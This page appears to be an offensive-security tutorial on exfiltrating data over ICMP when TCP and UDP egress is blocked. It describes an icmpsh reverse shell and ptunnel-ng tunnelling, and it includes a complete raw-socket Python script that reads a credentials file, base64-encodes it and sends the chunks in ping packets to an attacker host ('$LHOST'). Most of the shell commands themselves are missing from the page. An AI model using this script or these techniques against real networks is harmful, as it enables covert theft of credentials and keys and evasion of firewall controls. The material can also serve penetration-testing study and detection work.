ICMP Data Exfiltration
ICMP exfiltration encodes data into ping echo request payloads and sends it to an attacker-controlled host. It works in environments where all TCP and UDP egress is blocked but ICMP is permitted — common on networks that allow monitoring pings to pass through the firewall but restrict application-layer traffic.
The tradeoff is bandwidth: each query carries a small payload, transfer is slow, and high packet volume is detectable by network monitoring. Use it for small, high-value data — credentials, keys, tokens — when no other egress path is available.
You need root on both the target and your attacker machine to send and receive custom ICMP payloads using raw sockets.
Confirming ICMP Egress
Before anything else, confirm ICMP reaches your attacker machine from the target:
Capture on your attacker machine:
If requests appear in tcpdump, ICMP egress is open. No traffic means it is blocked at the firewall.
Manual Payload Encoding with ping
The ping -p flag accepts a hex pattern to fill the packet payload. This repeats the same 16-byte pattern across the packet — useful only for very small fixed values.
Encode a short string to hex:
Send it:
Capture the hex payload on the attacker side:
For arbitrary file data, the raw ping approach is too limited. Use the tools below instead.
icmpsh — Reverse Shell over ICMP
icmpsh provides a reverse shell channel over ICMP echo traffic. The client runs on the target and connects back to the listener on your attacker machine.
On your attacker machine, disable kernel ICMP echo replies first — otherwise the kernel answers pings before icmpsh can read them:
Start the Python listener:
Transfer the client binary to the target and run it:
-d 500 sets 500ms delay between requests, -b 30 maximum consecutive blanks before exit, -s 128 payload size in bytes.
Once the shell is active, exfiltrate small files by encoding and printing them through the session:
Copy each line of output back to your attacker machine manually. For anything larger, use ptunnel below to get a proper transfer channel.
Restore ICMP handling on your attacker machine when done:
ptunnel-ng — TCP over ICMP
ptunnel-ng creates a full TCP tunnel inside ICMP echo packets. Once established, any TCP-based transfer method works through it — including SCP and rsync.
On your attacker machine:
On the target:
-lp is the local port to expose on the target, -da and -dp are the destination host and port on the attacker side. This forwards SSH through the ICMP tunnel.
Connect via the forwarded port:
Once SSH is available through the tunnel, use scp or sftp for the actual transfer. See Data Exfiltration over SSH and SCP.
Raw Python ICMP Sender
When no binary tools are available but Python and root access exist, send raw ICMP packets with encoded payloads directly:
import socket, struct, time, base64
def checksum(data):
s = 0
for i in range(0, len(data), 2):
w = (data[i] << 8) + (data[i+1] if i+1 < len(data) else 0)
s = (s + w) & 0xffff
return ~s & 0xffff
import os
payload = base64.b64encode(open('/dev/shm/.work/creds.txt','rb').read())
chunk_size = 48
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
pid = os.getpid() & 0xFFFF
for i, chunk in enumerate([payload[j:j+chunk_size] for j in range(0,len(payload),chunk_size)]):
header = struct.pack('bbHHh', 8, 0, 0, pid, i)
chk = checksum(header + chunk)
header = struct.pack('bbHHh', 8, 0, socket.htons(chk), pid, i)
sock.sendto(header + chunk, ('$LHOST', 0))
time.sleep(0.1)
Capture and extract payloads on your attacker machine:
Extract with tshark:
The sequence number field in each packet (i in the loop) preserves order during reassembly.
When to Use ICMP Exfiltration
ICMP exfiltration is a last resort. Before committing to it, confirm that the following are actually blocked:
If any of those work, use HTTP/HTTPS or SSH exfiltration instead — both are faster and more reliable.
References
-
GitHub icmpshgithub.com/inquisb/icmpsh (opens in new tab)
simple reverse ICMP shell. Includes the Python master listener and C client source.
-
f-secure-foundry/ptunnel-nggithub.com/f-secure-foundry/ptunnel-ng (opens in new tab)
GitHub ptunnel-ng — TCP tunnel transported over ICMP echo packets with authentication support.
Was this helpful?
Your feedback helps improve this page.